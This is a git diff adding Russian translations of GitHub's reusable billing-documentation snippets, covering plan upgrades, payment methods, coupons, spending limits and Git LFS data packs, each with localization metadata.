a/translations/ru-RU/data/reusables/dotcom_billing/choose-monthly-or-yearly-billing.md b/translations/ru-RU/data/reusables/dotcom_billing/choose-monthly-or-yearly-billing.md new file mode 100644 index 000000000000..b749c742d2b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/choose-monthly-or-yearly-billing.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6d6aac00a66396bd05084b0836b8ef7dfed2aa3f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124672" +--- +1. В разделе "Сводка по обновлению" выберите, нужно ли платить ежемесячно или ежегодно. + ![Переключатели с выбором ежемесячного или ежегодного выставления счетов](/assets/images/help/billing/choose-monthly-or-yearly-billing.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/choose_org_plan.md b/translations/ru-RU/data/reusables/dotcom_billing/choose_org_plan.md new file mode 100644 index 000000000000..0a279c054088 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/choose_org_plan.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4d983c2c6c3f0a2560cb0ed6d8dc22bf49320edd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124648" +--- +1. В разделе "Сравнение планов" можно сравнивать функции каждого плана. В зависимости от текущего и выбранного плана нажмите кнопку **"Обновить до команды"** или **"Обновить до организации**". +![Сравнение планов и обновление](/assets/images/help/billing/settings-compare-and-upgrade-plans.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/confirm-add-seats.md b/translations/ru-RU/data/reusables/dotcom_billing/confirm-add-seats.md new file mode 100644 index 000000000000..7261ee17519d --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/confirm-add-seats.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4bb53fccaf5241d30cf665658b81bcb21c6d34bf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124627" +--- +1. Нажмите **Добавить рабочие места**. + ![Кнопка «Добавить рабочие места»](/assets/images/help/billing/add-seats-button.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/confirm-cancel-pending-changes.md b/translations/ru-RU/data/reusables/dotcom_billing/confirm-cancel-pending-changes.md new file mode 100644 index 000000000000..b9ba9aaff2fa --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/confirm-cancel-pending-changes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e7803d56aef472e349e82cb8d6b12abb14cde4a0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124624" +--- +1. Чтобы подтвердить, что вы хотите отменить изменения подписки, ожидающие обработки, в диалоговом окне нажмите кнопку **ОК**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/confirm_cancel_org_plan.md b/translations/ru-RU/data/reusables/dotcom_billing/confirm_cancel_org_plan.md new file mode 100644 index 000000000000..2f9383f2d736 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/confirm_cancel_org_plan.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e6674a91a18b3cd60e82300e97ad61358be8e35c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878946" +--- +7. Ознакомьтесь со сведениями о функциях, к которым ваша организация больше не будет иметь доступа на дату следующего выставления счета, а затем щелкните **Понятно, понизить уровень моей организации**. + ![Кнопка «Понизить уровень»](/assets/images/help/billing/downgrade-confirm-button.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/confirm_duration_change.md b/translations/ru-RU/data/reusables/dotcom_billing/confirm_duration_change.md new file mode 100644 index 000000000000..109776c432a2 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/confirm_duration_change.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: abae0e1d4b247abe4166e7e6c192f52d53e59075 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124616" +--- +1. Проверьте новые сведения об оплате и щелкните **Изменить длительность плана**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/coupon-expires.md b/translations/ru-RU/data/reusables/dotcom_billing/coupon-expires.md new file mode 100644 index 000000000000..827d468300f9 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/coupon-expires.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 816d19bab698a9c4cdabe9dd1f65779e27e39f5d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124611" +--- +Если вы используете купон для оплаты подписки, по истечении срока действия купона будет взиматься полная стоимость подписки посредством выбранного метода оплаты. Если у вас нет сохраненного метода оплаты, ваша учетная запись будет понижена до {% data variables.product.prodname_free_user %} для личных учетных записей или {% data variables.product.prodname_free_team %} для организаций. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/downgrade-org-to-free.md b/translations/ru-RU/data/reusables/dotcom_billing/downgrade-org-to-free.md new file mode 100644 index 000000000000..ab4e0bcefd36 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/downgrade-org-to-free.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 832aae05bf3016e73d9ec7b9c0be0232d1a30bc8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124608" +--- +1. Откройте раскрывающийся список **Изменить** и выберите **Понизить версию до {% data variables.product.prodname_free_team %}** . diff --git a/translations/ru-RU/data/reusables/dotcom_billing/download_receipt.md b/translations/ru-RU/data/reusables/dotcom_billing/download_receipt.md new file mode 100644 index 000000000000..5452ed35c509 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/download_receipt.md @@ -0,0 +1,2 @@ +1. Under "Payment history", review your past payments. To download a receipt for a specific payment, click {% octicon "download" aria-label="The download icon" %}. + ![Download receipt button](/assets/images/help/settings/settings-download-receipt.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/enter-billing-info.md b/translations/ru-RU/data/reusables/dotcom_billing/enter-billing-info.md new file mode 100644 index 000000000000..288ca303af6c --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/enter-billing-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 52d8d92bd8bf098d4d9d743e598aff9ede24525a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124587" +--- +1. В разделе "Сведения о выставлении счетов" заполните форму и нажмите кнопку **Сохранить**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/enter-payment-info.md b/translations/ru-RU/data/reusables/dotcom_billing/enter-payment-info.md new file mode 100644 index 000000000000..c224922c8a3e --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/enter-payment-info.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 4e3650d8ea8403131ac1b4dca2041b741fbb9ec6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881662" +--- +1. В разделе "Метод оплаты" выберите оплату с помощью кредитной карты или PayPal. + ![Переключение методов выставления счетов](/assets/images/help/billing/billing_switch_payments.png) +1. Заполните форму сведений об оплате и нажмите кнопку **Отправить**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/enter_coupon_code_on_redeem_page.md b/translations/ru-RU/data/reusables/dotcom_billing/enter_coupon_code_on_redeem_page.md new file mode 100644 index 000000000000..e0d6b017a032 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/enter_coupon_code_on_redeem_page.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 3ed62ec39bf7b35f447ea9dd71edd732c1d3c6b0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124555" +--- +1. Посетите страницу [Активация купона](https://github.com/redeem). +2. В поле "Введите код купона" вставьте код купона и нажмите кнопку **Активировать**. + ![Поле "Активировать купон"](/assets/images/help/settings/redeem-coupon-box.png) +3. Если вы еще не вошли в систему, можно войти на этой странице или создать новую учетную запись, чтобы применить к ней свой купон. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/extra_info_receipt.md b/translations/ru-RU/data/reusables/dotcom_billing/extra_info_receipt.md new file mode 100644 index 000000000000..8c0e8ec9fe9d --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/extra_info_receipt.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 87ee440c3115ace54085aa985cdbdc3bf19d0e93 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124552" +--- +1. В разделе "Сведения об оплате" в разделе "Дополнительные сведения" нажмите **Добавить сведения**. + ![Кнопка добавления дополнительных сведений о выставлении счетов](/assets/images/help/billing/settings_billing_add_billing_extra.png) +1. Введите дополнительные сведения, которые должны отображаться в квитанции, а затем нажмите **Сохранить контактную информацию**. + ![Поле контактной информации](/assets/images/help/settings/Billing-extra-info-field.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/finish_upgrade.md b/translations/ru-RU/data/reusables/dotcom_billing/finish_upgrade.md new file mode 100644 index 000000000000..57f4324d6b35 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/finish_upgrade.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b4cfa0ceebe27645f4b93a8dd959fb67fb8032e1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124544" +--- +1. Просмотрите сведения об оплате и дате выставления счетов, а затем нажмите кнопку **Обновить мою учетную запись** или **Обновить учетную запись моей организации**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/lfs-add-data.md b/translations/ru-RU/data/reusables/dotcom_billing/lfs-add-data.md new file mode 100644 index 000000000000..f913bea2e217 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/lfs-add-data.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: eab34f2eac4f98c7a81e3af8e8d87a04412a2f6f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881654" +--- +1. Рядом с "Данные {% data variables.large_files.product_name_short %}" щелкните **Добавить больше данных** или используйте раскрывающийся список **Изменить** и щелкните **Добавить больше пакетов данных**. + ![Кнопка "Добавить больше данных"](/assets/images/help/billing/data-pack-purchase-more.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/lfs-data.md b/translations/ru-RU/data/reusables/dotcom_billing/lfs-data.md new file mode 100644 index 000000000000..302960d998f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/lfs-data.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: fd4489c862a34052fbc6e7c183b0323341cdabcd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124536" +--- +1. Просмотрите сведения об использовании пропускной способности и хранилища в разделе "Данные {% data variables.large_files.product_name_short %}". Чтобы просмотреть сведения об использовании данных хранилища больших файлов (LFS) в вашей организации по репозиториям, воспользуйтесь стрелками рядом с элементами "Хранилище" и "Пропускная способность". + + ![Сведения об использовании данных хранилища больших файлов Git (LFS)](/assets/images/help/billing/lfs-data.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/lfs-remove-data.md b/translations/ru-RU/data/reusables/dotcom_billing/lfs-remove-data.md new file mode 100644 index 000000000000..58e975e6af63 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/lfs-remove-data.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c67a2ce6856b6865efa1c30191d7661ae2d8927a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124531" +--- +1. Рядом с {% data variables.large_files.product_name_short %} Data", используйте раскрывающееся меню **Редактирование** и нажмите **Удалить пакеты данных**. + ![Понижение уровня плана данных Git LFS](/assets/images/help/large_files/downgrade_lfs_data_packs.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/manage-spending-limit.md b/translations/ru-RU/data/reusables/dotcom_billing/manage-spending-limit.md new file mode 100644 index 000000000000..29d1756aba95 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/manage-spending-limit.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2905c63783bf13ae8a60bdf1ee5e4e6735ce8dcc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124528" +--- +1. В верхней части страницы в разделе «Сведения об оплате» щелкните **Управление предельной суммой расходов**. +![Ссылка для управления предельной суммой расходов](/assets/images/help/billing/manage-spending-limit-link.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/monthly-spending-limit-actions-packages.md b/translations/ru-RU/data/reusables/dotcom_billing/monthly-spending-limit-actions-packages.md new file mode 100644 index 000000000000..a38c99b50298 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/monthly-spending-limit-actions-packages.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f8eea21ecc6a1652ce0ed53d0612cedb512eafef +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124523" +--- +1. В разделе «Предельная сумма расходов в месяц» прокрутите вниз до «Действия и пакеты» и выберите ограничение расходов или разрешение неограниченных расходов. + ![Переключатели для ограничения расходов или разрешения неограниченных расходов](/assets/images/help/billing/limit-or-unlimited.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/monthly-spending-limit.md b/translations/ru-RU/data/reusables/dotcom_billing/monthly-spending-limit.md new file mode 100644 index 000000000000..6ed3a497adc8 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/monthly-spending-limit.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 638d0413d2de5827ea8e953c4018e99ad214ba33 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124480" +--- +1. В разделе «Лимит расходов в месяц» выберите ограничение расходов или разрешите неограниченные расходы. + ![Переключатели для ограничения расходов или разрешения неограниченных расходов](/assets/images/help/billing/limit-or-unlimited.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/next_billing_date.md b/translations/ru-RU/data/reusables/dotcom_billing/next_billing_date.md new file mode 100644 index 000000000000..bd3e4eb991ff --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/next_billing_date.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5cf3b6ded4e6382af3bc6358980d340ce0c356fa +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884577" +--- +1. В верхней части страницы в разделе «Следующая выплата» проверьте, когда должен быть совершен следующий платеж. +![Следующая дата выставления счета](/assets/images/help/billing/settings_billing_next_payment.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/number-of-seats.md b/translations/ru-RU/data/reusables/dotcom_billing/number-of-seats.md new file mode 100644 index 000000000000..a2b4a26a7536 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/number-of-seats.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f8dc97d82f67f776caeb77ff9f52ca685e4b9182 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124472" +--- +1. В разделе «Добавить рабочие места» введите количество рабочих мест, которые вы хотите добавить. + ![Поле ввода «Добавить рабочие места»](/assets/images/help/billing/add-seats-amount.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/org-billing-perms.md b/translations/ru-RU/data/reusables/dotcom_billing/org-billing-perms.md new file mode 100644 index 000000000000..72703cb74c3f --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/org-billing-perms.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 76a3bd55e55a41ffbab43d76cb143f263225a750 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124459" +--- +Доступ или изменение параметров выставления счетов для вашей организации может быть предоставлен только членам организации с ролью [*владельца*](/articles/permission-levels-for-an-organization) или [*менеджера выставления счетов*](/articles/adding-a-billing-manager-to-your-organization). diff --git a/translations/ru-RU/data/reusables/dotcom_billing/owned_by_business.md b/translations/ru-RU/data/reusables/dotcom_billing/owned_by_business.md new file mode 100644 index 000000000000..f51c5470f22e --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/owned_by_business.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 810a19c1bc5d885a5a6bff43155c8799e9b27f08 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124464" +--- +1. При необходимости, если ваша организация принадлежит компании или учреждению, выберите **Эта учетная запись принадлежит компании**. + ![Флажок для организации, принадлежащих компании](/assets/images/help/organizations/organization-belongs-to.png) +2. Если ваша организация принадлежит компании или учреждению, введите название компании или учреждения. + ![Поле «Имя компании или учреждения»](/assets/images/help/organizations/name-of-business.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/packages-data.md b/translations/ru-RU/data/reusables/dotcom_billing/packages-data.md new file mode 100644 index 000000000000..3b0b0b9dc44f --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/packages-data.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 914787e9470a168b8eccbd5a4574284ec105f57f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124456" +--- +1. В разделе {% data variables.product.prodname_registry %} просмотрите сведения об использовании передачи данных. + ![Сведения об использовании передачи данных](/assets/images/help/billing/packages-data.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/payment-methods.md b/translations/ru-RU/data/reusables/dotcom_billing/payment-methods.md new file mode 100644 index 000000000000..6ee4c4775e7b --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/payment-methods.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 737a6403dd94bdb7d50972f5d1bfbc8ada0f4dee +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124451" +--- +Оплатить {% data variables.product.product_name %} можно с помощью кредитной карты или учетной записи PayPal. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_actions.md b/translations/ru-RU/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_actions.md new file mode 100644 index 000000000000..4990db9c8871 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_actions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 984dd4bd8fc33e7acd2b2d79b2daa632f51ff3fc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885343" +--- +Чтобы оценить затраты на потребительские службы, можно использовать [калькулятор цен](https://github.com/pricing/calculator?feature=actions) в {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_packages.md b/translations/ru-RU/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_packages.md new file mode 100644 index 000000000000..62aa4a81c3dd --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_packages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f900a8fd880d620b209a47420e48f51dc0039032 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124427" +--- +Чтобы оценить затраты на потребительские службы, можно использовать [калькулятор цен](https://github.com/pricing/calculator?feature=packages) в {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/redeem_coupon.md b/translations/ru-RU/data/reusables/dotcom_billing/redeem_coupon.md new file mode 100644 index 000000000000..0f730e235e34 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/redeem_coupon.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 402db0d4f9b3b538f01b07dfd664aade400237a3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881823" +--- +5. В разделе «Новый план» просмотрите сведения о плане и скидке, а затем нажмите кнопку **Активировать**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/remove-payment-method.md b/translations/ru-RU/data/reusables/dotcom_billing/remove-payment-method.md new file mode 100644 index 000000000000..a759184ab645 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/remove-payment-method.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8f9467a927a8e5d0601200a9d9daec9c39f5b06a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124395" +--- +3. В разделе "Метод оплаты" в разделе выбора метода оплаты нажмите кнопку **Удалить**. + ![Кнопка обзора изменения плана выставления счетов](/assets/images/help/settings/remove_billing_info.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/remove_payment_info.md b/translations/ru-RU/data/reusables/dotcom_billing/remove_payment_info.md new file mode 100644 index 000000000000..40f2a3e94e8b --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/remove_payment_info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c653d735984d20739c010e01ea8082c877832830 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124392" +--- +1. Подтвердите изменение, нажав кнопку **Удалить кредитную карту** или **Удалить учетную запись PayPal**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/review-pending-changes.md b/translations/ru-RU/data/reusables/dotcom_billing/review-pending-changes.md new file mode 100644 index 000000000000..175ced53dccd --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/review-pending-changes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 650c57c61ab4b812ed837397c1188dc50acdae88 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124387" +--- +1. В разделе "Текущий план" просмотрите ожидающие изменения. + ![Раздел подписок в параметрах выставления счетов с описанием любых ожидающих изменений подписки](/assets/images/help/billing/review-pending-subscription-changes.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/same-payment-method.md b/translations/ru-RU/data/reusables/dotcom_billing/same-payment-method.md new file mode 100644 index 000000000000..07449b64600d --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/same-payment-method.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 574357827cbbefbdfac2f7dc90f53f2d5ccfe165 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124379" +--- +При обновлении метода оплаты для подписки {% data variables.product.prodname_dotcom %} учетной записи новый метод оплаты автоматически добавляется в другие подписки для платных продуктов. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/show-plan-details.md b/translations/ru-RU/data/reusables/dotcom_billing/show-plan-details.md new file mode 100644 index 000000000000..41c128cdd05e --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/show-plan-details.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 22fa543dc507526648f9383a792da7ee75fb2197 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883815" +--- +1. При необходимости, чтобы просмотреть сведения о плане, нажмите кнопку **Показать сведения**. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/switch-legacy-billing.md b/translations/ru-RU/data/reusables/dotcom_billing/switch-legacy-billing.md new file mode 100644 index 000000000000..2228fb9acadd --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/switch-legacy-billing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e0147d4d2717ca56870416a58889f7d02bbf5fe2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124371" +--- +Если в вашей организации используется устаревший план выставления счетов для каждого репозитория, вы можете в любое время переключиться на расценки в расчете на пользователя. Вы не сможете вернуться к ценам на репозиторий после обновления до расценок в расчете на пользователя. diff --git a/translations/ru-RU/data/reusables/dotcom_billing/update-spending-limit.md b/translations/ru-RU/data/reusables/dotcom_billing/update-spending-limit.md new file mode 100644 index 000000000000..a2c94ec380c3 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/update-spending-limit.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 65025cf3544901230de4032b699c0d2058cd7b15 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124363" +--- +1. Если вы решили ограничить расходы, в разделе "Ограничение расходов" введите ограничение, а затем нажмите кнопку **Обновить ограничение**. + ![Поле для ввода ограничения расходов и кнопка "Обновить ограничение"](/assets/images/help/billing/update-limit.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/update_payment_method.md b/translations/ru-RU/data/reusables/dotcom_billing/update_payment_method.md new file mode 100644 index 000000000000..4e4c83f90496 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/update_payment_method.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 18cafb3b98ee21be0e18e6f252441c4751467cb8 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878933" +--- +1. В верхней части страницы в разделе "Сведения об оплате" щелкните **Обновить метод оплаты**. + ![Кнопка "Обновить метод оплаты"](/assets/images/help/billing/update_payment_method.png) diff --git a/translations/ru-RU/data/reusables/dotcom_billing/upgrade_org.md b/translations/ru-RU/data/reusables/dotcom_billing/upgrade_org.md new file mode 100644 index 000000000000..a1a21853fd9f --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/upgrade_org.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 716f4b4dbe73fa1253b7b448905a3d6bf3fbf9df +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124344" +--- +1. Нажмите **Обновить** рядом с пунктом "Текущий план". diff --git a/translations/ru-RU/data/reusables/dotcom_billing/view-all-subscriptions.md 